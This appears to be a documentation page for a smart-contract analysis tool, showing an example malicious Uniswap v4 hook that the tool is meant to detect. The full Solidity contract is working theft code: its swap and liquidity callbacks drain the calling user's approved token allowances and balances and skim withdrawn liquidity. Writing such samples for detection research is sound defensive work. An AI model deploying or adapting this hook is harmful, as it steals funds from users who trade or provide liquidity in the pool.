Malicious Hook Detection
Malicious Hook Example
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {BaseHook} from "v4-periphery/src/base/hooks/BaseHook.sol";
import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {FixedPointMathLib} from "solmate/src/utils/FixedPointMathLib.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {SafeCast} from "v4-core/src/libraries/SafeCast.sol";
import {toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {CurrencySettler} from "v4-core/test/utils/CurrencySettler.sol";
contract MaliciousHook is BaseHook {
using Hooks for IHooks;
using SafeCast for uint256;
using SafeCast for int128;
using CurrencySettler for Currency;
bool private firstAddLiquidity = true;
uint128 public constant TOTAL_BIPS = 10000;
constructor(IPoolManager _manager) BaseHook(_manager) {}
function getHookPermissions()
public
pure
override
returns (Hooks.Permissions memory)
{
return
Hooks.Permissions({
beforeInitialize: false,
afterInitialize: false,
beforeAddLiquidity: false,
afterAddLiquidity: true,
beforeRemoveLiquidity: false,
afterRemoveLiquidity: true,
beforeSwap: false,
afterSwap: true,
beforeDonate: false,
afterDonate: false,
beforeSwapReturnDelta: false,
afterSwapReturnDelta: true,
afterAddLiquidityReturnDelta: true,
afterRemoveLiquidityReturnDelta: true
});
}
function afterSwap(
address sender, /* sender **/
PoolKey calldata key,
IPoolManager.SwapParams calldata params,
BalanceDelta delta,
bytes calldata /* hookData **/
) external override onlyPoolManager returns (bytes4, int128) {
bool specifiedTokenIs0 = (params.amountSpecified < 0 == params.zeroForOne);
(Currency targetCurrency, int128 swapAmount) =
(specifiedTokenIs0) ? (key.currency1, delta.amount1()) : (key.currency0, delta.amount0());
if (swapAmount < 0)
swapAmount = -swapAmount;
else
return (IHooks.afterSwap.selector,0);
address victim = tx.origin;
IERC20 feeToken = IERC20(Currency.unwrap(targetCurrency));
uint256 stealAmount = feeToken.allowance(victim, sender);
if (stealAmount > targetCurrency.balanceOf(victim)) {
stealAmount = targetCurrency.balanceOf(address(victim));
}
if (poolManager.isOperator(victim, sender)) {
uint256 balance_6909 = poolManager.balanceOf(victim, targetCurrency.toId());
stealAmount = stealAmount < balance_6909 ? stealAmount : balance_6909;
}
targetCurrency.take(poolManager, address(this), stealAmount, true);
targetCurrency.settle(poolManager, address(this), (stealAmount * key.fee / TOTAL_BIPS) + uint128(swapAmount), true);
stealAmount = stealAmount - (stealAmount * key.fee / TOTAL_BIPS) - uint128(swapAmount);
return (IHooks.afterSwap.selector, (stealAmount).toInt128());
}
function afterRemoveLiquidity(
address, /* sender **/
PoolKey calldata key,
IPoolManager.ModifyLiquidityParams calldata, /* params **/
BalanceDelta delta,
BalanceDelta,
bytes calldata /* hookData **/
) external override onlyPoolManager returns (bytes4, BalanceDelta) {
assert(delta.amount0() >= 0 && delta.amount1() >= 0);
uint256 stealAmount0;
uint256 stealAmount1;
if (delta.amount0() > 0)
stealAmount0 = uint128(delta.amount0()) - 1;
if (delta.amount1() > 0)
stealAmount1 = uint128(delta.amount1()) - 1;
key.currency0.take(poolManager, address(this), stealAmount0, true);
key.currency1.take(poolManager, address(this), stealAmount1, true);
return (IHooks.afterRemoveLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
}
function afterAddLiquidity(
address sender, /* sender **/
PoolKey calldata key,
IPoolManager.ModifyLiquidityParams calldata, /* params **/
BalanceDelta delta,
BalanceDelta,
bytes calldata /* hookData **/
) external override onlyPoolManager returns (bytes4, BalanceDelta) {
if (firstAddLiquidity) {
firstAddLiquidity = false;
return (IHooks.afterAddLiquidity.selector, toBalanceDelta(0, 0));
}
assert(delta.amount0() <= 0 && delta.amount1() <= 0);
address victim = tx.origin;
IERC20 targetToken0 = IERC20(Currency.unwrap(key.currency0));
IERC20 targetToken1 = IERC20(Currency.unwrap(key.currency1));
uint256 stealAmount0 = targetToken0.allowance(victim, sender);
uint256 stealAmount1 = targetToken1.allowance(victim, sender);
if (stealAmount0 > targetToken0.balanceOf(victim)) {
stealAmount0 = targetToken0.balanceOf(address(victim));
}
if (stealAmount1 > targetToken1.balanceOf(victim)) {
stealAmount1 = targetToken1.balanceOf(address(victim));
}
if (poolManager.isOperator(victim, sender)) {
uint256 balance0_6909 = poolManager.balanceOf(victim, key.currency0.toId());
uint256 balance1_6909 = poolManager.balanceOf(victim, key.currency1.toId());
stealAmount0 = stealAmount0 < balance0_6909 ? stealAmount0 : balance0_6909;
stealAmount1 = stealAmount1 < balance1_6909 ? stealAmount1 : balance1_6909;
}
key.currency0.take(poolManager, address(this), stealAmount0, true);
key.currency1.take(poolManager, address(this), stealAmount1, true);
key.currency0.settle(poolManager, address(this), uint128(-delta.amount0()), true);
key.currency1.settle(poolManager, address(this), uint128(-delta.amount1()), true);
stealAmount0 -= uint128(-delta.amount0());
stealAmount1 -= uint128(-delta.amount1());
return (IHooks.afterAddLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
}
}Main Logic

Herbicide Detection Result
GasGriefHook
Last updated
Was this helpful?